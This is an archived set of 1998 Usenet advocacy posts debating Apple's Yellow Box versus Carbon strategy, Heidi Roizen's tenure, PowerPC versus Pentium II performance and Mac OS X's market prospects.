> Has *anybody* delineated what the benefits of a YB app vs. a Carbon app
> are? Is the advantage on the development side, the user side? Performance?
> Portability? What happened to the YB API for Winders?
I think there's benefits all around, how they need to be weighed is up to
the developer.
a) development is definitely easier
As good as PP and CW are, they simply don't compare with the rich and
rful objects included in YB. You can do things in YB in a few lines that
uld take hundreds in most other systems, color managment, string handling
c.
b) user side is likely similar over all
However the filters and services system under YB will be hard to touch, as
will the invisible and widespread drag and drop abilities.
c) performance is likely a wash, maybe a bit better under YB
d) YB has the only real portability.
Maury
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: Wed, 2 Sep 1998 16:47:24 -0700
Organization: University of British Columbia
Message-ID: <1deqjrd.100e86xid9v7kN@p006.intchg2.net.ubc.ca>
References: <6shd74$fth@newsb.netnews.att.com>
<gupta@kcopsrm.tm.tta.moc-mirror> posted:
[a *very* interesting set of benchmarks with commentary]
There's the operating temperature/power consumption advantage, too, of
course. And smaller size, if smaller size in itself matters.
But what about the per-unit manufacturing cost on the one hand, and
selling price on the other (economy of scale presumably going to the
manufacturer with the biggest market)? Are PPC chips inherently cheaper?
--
Bruce Bennett
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 2 Sep 1998 19:49:58 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980902194958226120@ts4-09.aug.com>
References: <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <slrn6u9p46.joh.jedi@dementia.mishnet> <6s3vk3$9qo@news1.panix.com> <slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com> <6s6hco$30u@news1.panix.com> <slrn6ue1vs.q7o.kevin@frobozz.sysexperts.com> <slrn6ue4qo.113.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Aug28143430@slave.doubleu.com> <EyK6KM.843@T-FCN.Net> <SCOTT.98Sep1100129@slave.doubleu.com> <Eynu0t.GJ9@T-FCN.Net> <01bdd687$6d404720$5966ec84@am133>
Sung Ho Kim <sk68@cornell.edu> wrote:
> system crashes in a PC (not a workstation) is not. So I don't think PC
> will get more crash safe unless people start jumping off their office
> windows after a crash and someone takes notice :)
Or untill more warships go dead in the water.
--
Remove nojunk from my email address to reply by email.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 2 Sep 98 17:00:01 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2132A13-45BC2@206.165.43.179>
References: <joe.ragosta-0209981709230001@wil78.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Joe Ragosta <joe.ragosta@dol.net> said:
>So Heidi basically confirms my position--that she never gave Yellow Box a
>real chance. Her focus was on legacy code and apps rather than the
>complete rewrite of apps to take advantage of YB.
>
Does the term "migration tools" mean anything to you? Did you recognize the
name "Greg Galanos," who happens to be President and CTO of Metrowerks, the
company that saved Apple during the migration to PowerPC?
Without the full cooperation of Metrowerks, Yellow Box had no chance
whatsoever because few Mac developers would leap from using CodeWarrior to
a GNU-based product. In fact, when the Carbon API strategy was announced,
Metrowerks took out a full-page ad in the back of MacTech, congratulating
Apple on implementing a sensible strategy.
Obviously, Steve Jobs must have wanted her back or he wouldnt' have called
her asking if she would work for him. Obviously Bill Gates wouldn't have
hired her to do the same job at Microsoft that she did at Apple if he
didn't approve of how she handled herself at Apple.
If Steve Jobs and Bill Gates approved of her tenure at Apple, who are YOU
to say that she just didn't do things properly? I mean, Jobs likely wants
the Yellow Box to suceed more than anyone else in the world and if he felt
that Heidi's stance on things was unreasonable, would he have ever bothered
to call her, seeing how she had *ALREADY* retired from her position? It
would have gained him no clout within the political circles of Apple and
the Mac developer community to rehire someone who had already quit unless
everyone inside and out of Apple was impressed with her performance, right?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <forrestDELETE-THIS!-0209981700420001@term4-23.vta.west.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Wed, 02 Sep 1998 17:00:42 -0700
NNTP-Posting-Date: Wed, 02 Sep 1998 17:00:34 PDT
In article <EyoKBy.CAo@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
[SNIP]
> d) YB has the only real portability.
You sure? I'm not a developer myself (I just play one on UseNet :] ), but
I could swear that I heard somewhere that Apple could port Carbon to
another platform as easily as they could YB, and it seems to me like that
would make sense now that it's not tied up inside a proprietary kernel and
making all sorts of to a ROM which only exists in one type of machine (as
the original Mac Toolbox is). Of course, from what I've heard YB is still
a lot easier to code with and already exists on more platforms that
Carbon, so it's still got plenty of advantages.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <forrestDELETE-THIS!-0209981716130001@term4-23.vta.west.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net> <forrestDELETE-THIS!-0209981700420001@term4-23.vta.west.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Wed, 02 Sep 1998 17:16:13 -0700
NNTP-Posting-Date: Wed, 02 Sep 1998 17:16:07 PDT
In article <forrestDELETE-THIS!-0209981700420001@term4-23.vta.west.net>, I
wrote:
> making all sorts of to a ROM which only exists in one type of machine (as
Whoops. That should be "...making all sorts of calls to a ROM...". I left
out calls.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <cdoutyEyoMH6.7wG@netcom.com>
Sender: cdouty@netcom7.netcom.com
Organization: Netcom Online Services
References: <B212F253-19875@206.165.43.49> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net> <forrestDELETE-THIS!-0209981700420001@term4-23.vta.west.net>
Date: Thu, 3 Sep 1998 00:24:42 GMT
In article <forrestDELETE-THIS!-0209981700420001@term4-23.vta.west.net>,
Forrest Cameranesi <forrestDELETE-THIS!@west.net> wrote:
>In article <EyoKBy.CAo@T-FCN.Net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>[SNIP]
>
>> d) YB has the only real portability.
>
>You sure? I'm not a developer myself (I just play one on UseNet :] ), but
>I could swear that I heard somewhere that Apple could port Carbon to
>another platform as easily as they could YB, and it seems to me like that
>would make sense now that it's not tied up inside a proprietary kernel and
>making all sorts of to a ROM which only exists in one type of machine (as
>the original Mac Toolbox is). Of course, from what I've heard YB is still
>a lot easier to code with and already exists on more platforms that
>Carbon, so it's still got plenty of advantages.
That is the speculation. Nobody outside of Apple (and probably the
Illuminati at Adobe) knows the implementation of Carbon. Since the
purpose of Carbon is to free Mac source code from dependancy on the old
ROM Toolbox (and most likely will be a framework in OSX) then there
exists the possibility of an Intel version. Certainly a version for OSX
on Intel is fesable. I don't know about a Windows version.
That being the case, I have also heard (at a BaNG meeting) that certain
endian-independence features do not exist and are not considered.
Certainly there would have to be functions to deal with endian issues
just as there are in OpenStep. AppKit and Foundation deal with most of
those issues automatically, but there are cases where the programmer must
call some endian-switching functions. I do not recall seeing any mention
of endian-switching functions or the like in the current Carbon
documentation. Adding them probably wouldn't be too hard, but it would
add work to porting an app to Carbon and then Carbon for Intel.
Therefore I conclude that Carbon will be a Mac/PPC-only environment.
There are technical and political issues forcing that decision. I have
already discussed some of the technical issues above and can only
speculate on the political issues. I suspect that protection of
Macintosh uniqueness is one reason and that protection of YB advantages
is another.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
Date: Wed, 02 Sep 1998 20:35:02 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <joe.ragosta-0209982035030001@elk103.dol.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net>
In article <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net>,
ckoller@worldnet.att.net (Craig Koller) wrote:
> In article <joe.ragosta-0209981709230001@wil78.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > So Heidi basically confirms my position--that she never gave Yellow Box a
> > real chance. Her focus was on legacy code and apps rather than the
> > complete rewrite of apps to take advantage of YB.
> >
> Has *anybody* delineated what the benefits of a YB app vs. a Carbon app
> are? Is the advantage on the development side, the user side? Performance?
> Portability? What happened to the YB API for Winders?
I don't have the references, but I've read that YB development saves as
much as 75% of the time required for Windows or Mac OS development. It is
also highly portable. Because of its solid OO foundations, it is
reportedly much more bug-free than conventional code.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Message-ID: <rbarris-ya023280000209981741100001@206.82.216.1>
References: <6shd74$fth@newsb.netnews.att.com> <1deqjrd.100e86xid9v7kN@p006.intchg2.net.ubc.ca>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Wed, 02 Sep 1998 17:41:10 -0700
NNTP-Posting-Date: Wed, 02 Sep 1998 17:41:03 PDT
In article <1deqjrd.100e86xid9v7kN@p006.intchg2.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> But what about the per-unit manufacturing cost on the one hand, and
> selling price on the other (economy of scale presumably going to the
> manufacturer with the biggest market)? Are PPC chips inherently cheaper?
Good-die yield per wafer is very important.
Yield is a strong function of die size (smaller => higher yield).
But real yield numbers are often hard to come by as they are rather
closely guarded secrets.
Rob
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: 2 Sep 98 20:52:50 -0600
Organization: ICGNetcom
Message-ID: <B21360A7-4DD61@207.94.234.38>
References: <slrn6urqjs.uu5.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
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nntp://nntp.ix.netcom.com/comp.sys.mac.advocacy
On Wed, Sep 2, 1998 6:57 PM, Jason S. <mailto:jason@jhste1.dyn.ml.org>
wrote:
>Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
>>> Do you happen to know what specific systems the 750 benchmarks where
>>> obtained on? I presume IBM. What OS?
>
>>As Arun pointed out, it was an estimated figure on the 750. That means it
>>wasn't run on a specific system.
>
>No, it probably means that IBM ran it on an engineering prototype.
>Recall that the last round of "estimated" SPEC numbers from IBM were
>run on machines with the outdated Moto MPC105 chipset, instead of on
>machines with the current MPC106 chipset that the Gossamer Macs use.
>And SPECfp95 is _very_ sensitive to main memory bandwidth (unless you
>have a 4MB+ L2 cache, which obviously these machines don't have).
>
>--
>When I was a boy I was told that anybody could become President. Now
>I'm beginning to believe it.
> -- Clarence Darrow
>
My guess is that the prototype machine would have been based on an RS/6000
running AIX, since this has typically been IBM's main product line for
showcasing their PowerPC technology up until now (although it's also true,
the production models have typically been an entire chip generation behind
the recent Macs; no G3-based RS/6000s have been announced yet, for
instance, IIRC....). And, when IBM finally _does_ publish the official
scores (vs. the estimates) at
http://www.spec.org/osg/cpu95/results/cpu95.html, say, it's always on the
production model RS/6000s.
In any event, I doubt it was anything remotely resembling yer average IBM
PeeCee running that set of SPEC benchmarks....
;->
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 3 Sep 1998 02:37:39 GMT
Organization: I don't think so
Message-ID: <slrn6us0f5.vtp.jason@jhste1.dyn.ml.org>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com> <6skt5a$147m1@odie.mcleod.net>
Michelle L. Buck posted the following to comp.sys.mac.advocacy:
>If you don't want to know anything about UNIX and are emotionally attached
>to an inferior user interface and do not care about broad hardware support
>and MUST have Microsoft Office then use MacOS-X.
Exactly.
>YellowBox + Apple GUI on top of LINUX would appeal to the same users to whom
>LINUX currently appeals and Microsoft does not address.
Only if there is decent software available for YB that isn't already
available for GNOME/KDE/Motif/whatever (fat chance of that).
--
When I was a boy I was told that anybody could become President. Now
I'm beginning to believe it.
-- Clarence Darrow
From: "scott hand" <vidahand@mail.doh!.earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 2 Sep 98 21:14:36 -0400
Organization: EarthLink Network, Inc.
Message-ID: <B21365C1-1BDB7@208.254.112.230>
References: <Jn2H1.2937$MS.7279167@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
On Tue, Sep 1, 1998 10:50 PM, rr6013@yahoo.com <mailto:rr6013@yahoo.com>
wrote:
>> > Well, Steve's speech has come and gone, and not one peep on Mac OS X
>ver,
>> > as far as I could tell. Yes, it was good to hear Adobe et al announce
>eir
>> > support for OS X, but that's over a year away. In the meantime, OS X
>ver
>> > is supposed to be here imminently, and still not a word. Not on
timing.
>Not
>> > on pricing. Not on anything.
>>
>> > This is extremely discouraging...
>>
>> For what it's worth, WebObjects 4 will run on MacOS X Server. It was
>> mentioned in the press release.
>>
>
Check the speech again. When Steve lists the OS's WO will run on, he
mentions OSX Server "which will be available before the end of the year".
So much for sept/october, but not quite dead.
scott
----------------------------------------------------------------
Cyberdog -- yet another cancelled technology from Apple Computer
----------------------------------------------------------------
From: "Steven Schulze" <sschulze@netwiz.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 1 Sep 1998 08:23:02 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6sgvuu$cha$1@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net>
Mime-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote in message ...
>In article <6sedab$854@newsb.netnews.att.com>,
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>> >> 2.) MS does not allways release it's products on time, because MS
>insists on
>> >> "finishing" it's products before they hit the shelves.
>>
>> Utter BS. Show us one, just one, OS release Microsoft has done after
1994,
>> that was feature-complete (i.e., it had all the features talked about in
>> the myriads of Microsoft press releases before the actual release).
>
>Or show us one that was within even a year of its original target date.
>Heck, make that two years.
At least they get released. Better late than never, a la Apple.
Steven Schulze
Concord, CA
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 2 Sep 1998 20:57:02 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6skt5a$147m1@odie.mcleod.net>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com>
LINUX is a fairly mature open source UNIX like operating system that
supports many hardware configurations and supports many traditional UNIX
APIs from BSD and SYS-V and supports many open and half open standards like
X-Windows and Motif. LINUX has a large set of technical proponents who
apparently value open source to such a high degree that they willingly
forego traditional corporate hand holding in exchange for that openness.
LINUX makes porting UNIX software from other OSs relatively easy. LINUX is
gaining market/user share rapidly compared to other OSs, but it has a small
market share today. Several large and important software vendors have
recently endorsed LINUX. LINUX has fundamentally limited appeal to one
large group of consumers because it wont run Microsoft Office or other "MUST
HAVE" software.
FreeBSD and Mach+BSD are fairly mature partially open source UNIX like
operating systems that support (historically) many hardware configurations
and support many traditional UNIX APIs from BSD and SYS-V and support many
open and half open standards like X-Windows and Motif through open source
and third parties. Mach+BSD has a small set of technical and non-technical
proponents who historically have been willing to forego open source for
traditional corporate hand holding and a superior proprietary (but once
open) software development environment. Several large and important
software vendors have historically endorsed Mach+BSD (Lotus, Wolfram, Adobe,
Spice?, Aldus/Altsys, Sun, HP, Dec, Cannon, Dell) but all have abandoned it
due to lack of user interest. Mach + BSD has historically had the best
proprietary user interface ever manufactured IMHO. Mach+BSD has
fundamentally limited appeal to one large group of consumers because it wont
run Microsoft Office.
Apple is producing a consumer OS called MacOS-X that will consist partly of
fairly mature Mach+BSD components and partly of brain damaged ;-)
proprietary Apple legacy and "not invented here" spawned components.
MacOS-X will support many traditional UNIX APIs from BSD and SYS-V and
support many open and half open standards although the ubiquitous
availability of such services is in grave doubt. MacOS-X is going to be
marketed specifically to those consumers who do not know what LINUX is, have
a fuzzy idea of what UNIX is, have absolutely no interest in software APIs
or open source or X-Windows or Motif. MacOS-X WILL run Microsoft Office and
hundreds of other "MUST HAVE" popular software products that are not
available for LINUX or Mach+BSD. MacOS-X will have a dramatically
downgraded user interface from previous Mach+BSD systems. Apple is
deliberately eliminating previously existing support for non-Apple hardware
configurations. This is not a technical issue. This is just Apple being
Apple.
So....
If you MUST have Microsoft Office don't use LINUX or Mach+BSD or FreeBSD
(Without virtual machine/virtual OS support)
If you MUST have open source, use LINUX (or possibly FreeBSD)
If you want the best user interface to the exclusion of all other concerns,
use Mach+BSD.
If you want broad hardware support, use LINUX or FreeBSD or Mach+BSD
If you don't want to know anything about UNIX and are emotionally attached
to an inferior user interface and do not care about broad hardware support
and MUST have Microsoft Office the use MacOS-X.
There are only two features listed above that you can not get from
Microsoft, and they are open source and broad hardware support. LINUX has a
competitive advantage over Microsoft for those few million people who care
about open source. MacOS-X has no advantage over Microsoft offerings unless
you are a programmer who cares about UNIX APIs and a superior software
development environment or you are emotionally attached to the Mac GUI.
LINUX therefore has a limited but viable market that Microsoft does not
address. MacOS-X does not. Unless you already own a Mac and have lots of
Mac software and are emotionally attached to the Mac GUI and are not a
developer, there is absolutely no reason to buy MacOS-X and lots of reasons
not to buy it. I therefore can not see MacOS-X ever appealing to any user
who is not already a Mac user and a recent one at that.
YellowBox + Apple GUI on top of LINUX would appeal to the same users to whom
LINUX currently appeals and Microsoft does not address. It might even
appeal to existing Mac users. MacOS-X may appeal to existing Mac users, but
It will probably not appeal to anyone else and it will be squarely in
competition with Microsoft OSs that have already won the market share war.
From: blewis@cablestogo.com (blewis)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 01 Sep 1998 12:01:03 -0400
Organization: CTG
Message-ID: <blewis-0109981201030001@207.90.74.227>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com>
In article <6sgvuu$cha$1@supernews.com>, "Steven Schulze"
<sschulze@netwiz.net> wrote:
> Joe Ragosta wrote in message ...
> >In article <6sedab$854@newsb.netnews.att.com>,
> >gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >
> >> >> 2.) MS does not allways release it's products on time, because MS
> >insists on
> >> >> "finishing" it's products before they hit the shelves.
> >>
> >> Utter BS. Show us one, just one, OS release Microsoft has done after
> 1994,
> >> that was feature-complete (i.e., it had all the features talked about in
> >> the myriads of Microsoft press releases before the actual release).
> >
> >Or show us one that was within even a year of its original target date.
> >Heck, make that two years.
>
>
> At least they get released. Better late than never, a la Apple.
>
> Steven Schulze
> Concord, CA
Sure, they may get released, but they are buggy as hell and mostly
unusable until the first service pack.
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 2 Sep 1998 20:53:56 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6sl3qh$sq3$1@nnrp4.snfc21.pbi.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net>
Joe Ragosta wrote in message ...
>So Heidi basically confirms my position--that she never gave Yellow Box a
>real chance. Her focus was on legacy code and apps rather than the
>complete rewrite of apps to take advantage of YB.
Oh, I don't think you're the only person with this position about
what Heidi Roizen did at Apple. Seems to me the point of contention
is if Heidi Roizen's position was correct or not.
Personally I believe focusing on legacy code and legacy apps is
the right answer--too much intellectual property and brain space
is currently invested in the current API to have it pulled out from
underneath Apple developers capreciously.
But of course you don't seem to think having to relearn an
entire development environment and an entire way of writing
software, along with a new programming language and all new
development tools, not to mention rewriting and/or porting
legacy applications to this new environment is all that big
a deal--something any good programmer should be able to pull
off in a three-day weekend, from what it seems.
*shrug*
When YB was announced, it was an either-or thing: either
you write YB code, or your application becomes a second-
class citizen. Nothing like taking a few billion lines of
code and making it "obsolete"--especially as it's clear from
Carbon and the earlier Mac A/UX that you can get a lot of
the buzzword compliance items without scraping the entire
Macintosh OS API.
The original YB strategy was lousy, and I for one am *glad*
Heidi Roizen's focus was on legacy code and legacy apps rather
than force developers to adopt a new API. 'Cause the API a
lot of them would probably have adopted (for political,
rather than technical reasons) would have been the Win32 API...
- Bill Woody
The PandaWave
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Tue, 01 Sep 1998 10:43:48 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0109981043480001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net>
In article <6ser4k$21j$1@ash.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>Photoshop Actions is there simply because Adobe did NOT want to use MacOS-only
>AppleScript. Exposing Actions completely to OSA architecture would open up many
>interesting scripting and integration possibilities, as you suggest. But then
>what do they do for their Windows versions? Not have Actions? Same with
>ColorSync; same with QT, etc.
From MacNN:
"AppleScript almost ubiquitous in Mac OS 8.5--now works with ColorSync,
Sherlock Find engine, printing, Finder, folders, and networking . VP
Schiller noted that PhotoShop can now be scripted via a "Photoscript
Extension" available at the show. Several AppleScript demonstrations were
peformed showing its productivity and effienciency, and showcasing Mac OS
scriptability."
So it would appear that Apple is working with Adobe to get some better
MacOS support. 'Bout damn time...
-Bob Cassidy
From: ckoller@worldnet.att.net (Craig(nospam)Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 3 Sep 1998 05:02:38 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net>
In article <EyoKBy.CAo@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> Craig
> er wrote:
> > Has *anybody* delineated what the benefits of a YB app vs. a Carbon app
> > are? Is the advantage on the development side, the user side? Performance?
> > Portability? What happened to the YB API for Winders?
>
> I think there's benefits all around, how they need to be weighed is up to
> the developer.
>
> a) development is definitely easier
>
> As good as PP and CW are, they simply don't compare with the rich and
> rful objects included in YB. You can do things in YB in a few lines that
> uld take hundreds in most other systems, color managment, string handling
> c.
>
> b) user side is likely similar over all
>
> However the filters and services system under YB will be hard to touch, as
> will the invisible and widespread drag and drop abilities.
>
> c) performance is likely a wash, maybe a bit better under YB
>
> d) YB has the only real portability.
>
Thanks.
Gotta love this "battle of the boxes..."
Lessee ... so the YB upside is development ease, power and stability. The
downside is YB apps will only run in OSX or the YB in OS? (for the non OSX
machines) Whereas Carbon compliant apps will run on nearly every
(Power)Mac.
So, it looks like for custom software installations and mission critical
stuff (like NeXTStep shined at) YB development will be a definite option,
but for older apps, and new apps that are aimed at the widest possible
audience, Carbon will be the choice.
Then again, *honestly* how realistic is it for the YB layer for Win/NT/98
to happen? (wouldn't it be like MS to "break" this?) If that were the
case, developers would have an even wider distribution model with the YB
app via the cross-platform approach, versus the "cross-Mac" approach.
Seeing that Adobe's K2 is a brand spankin' new app set for deployment in a
year or so, I was wondering whether they were doing this via carbon or via
YB. I'd imagine Carbon...
No wonder Heidi walked.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
